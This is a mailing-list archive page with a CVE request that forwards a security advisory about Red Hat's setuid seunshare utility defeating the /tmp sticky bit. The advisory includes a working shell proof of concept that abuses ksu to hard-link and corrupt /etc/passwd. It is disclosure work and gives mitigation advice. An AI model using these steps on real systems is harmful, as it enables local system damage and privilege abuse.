Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <AANLkTikU=whg384HmvbPcAgDjP_KMqJQ1TGFPz1B081g@mail.gmail.com>
Date: Tue, 22 Feb 2011 18:33:32 -0700
From: Kurt Seifried <kurt@...fried.org>
To: oss-security@...ts.openwall.com
Subject: CVE Request

Can we get a CVE # for this please and thank you.

-Kurt

From: 	Tavis Ormandy   	2/22/11 6:01 PM 	  	
To: 	full-disclosure@...ts.grok.org.uk
Subject: 	[Full-disclosure] Developers should not rely on the
stickiness of/tmp on Red Hat Linux
Developers should not rely on the stickiness of /tmp on Red Hat Linux
---------------------------------------------------------------------

Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
setuid root utility from policycore-utils intended to make new filesystem
namespaces available to unprivileged processes for the purpose of sandboxing.

The intention is to permit unprivileged users to mount a new temporary
directory on /home and /tmp for sandboxed processes, thus preventing
access to the contents of the original directories in the event of a
compromise.

One unintended side effect of making these features available to unprivileged
processes is that users can now change how setuid applications perceive /tmp
and /home.

The purpose of this advisory is to inform developers and system administrators
of affected systems that unprivileged users can effectively remove the
sticky-bit from the system /tmp directory, and thus relying on the stickiness
of /tmp on redhat systems is no longer safe.

This advisory is intended for system administrators and developers of
Red Hat Linux systems; journalists, end users and other non-technical
readers do not need to be concerned.

--------------------
Affected Software
------------------------

All known versions of policycore-utils are affected.

I discussed the potentially dangerous implications of introducing this change
with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this
behaviour post-launch.

--------------------
Consequences
-----------------------

A simple example of a common application that is now unsafe is ksu, from the
krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
authentication failure.

This is normally a safe operation, as /tmp is protected by the sticky bit.

However, we can use seunshare to interfere with this process.

# create a new directory that we control
$ mkdir /tmp/seunshare

# use seunshare to mount it on /tmp and /home and run our setuid root binary
$ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu`
root &>/dev/null &
[1]+ Stopped seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ --
`which ksu` root

# we can examine the mounts visible to the process using the /proc interface
$ grep /tmp /proc/$(pidof ksu)/mountinfo
66 64 1:1 /tmp/seunshare /tmp

# here is the temporary file created by ksu during authentication
$ ls -l /tmp/seunshare/
total 4.0K
-rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1

# as we own the directory, and the sticky-bit is not set, we are permitted to
# unlink files
$ rm -f /tmp/seunshare/krb5cc_0.1

# now we can replace the file with a link
$ ln /etc/passwd /tmp/seunshare/krb5cc_0.1

# make ksu authentication fail.
$ fg
seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

And /etc/passwd was damaged, thus breaking the system.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in
$1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and
colleagues.

-------------------
Notes
-----------------------

Although only an example of damaging a system has been provided, it's
reasonable to assume that various applications rely on the stickiness of
/tmp to prevent code execution.

Administrators are advised to remove the setuid bit from seunshare, or
restrict access to it.

-------------------
References
-----------------------

None.

-- 
-------------------------------------
taviso@...xchg8b.com | pgp encrypted mail preferred
-------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.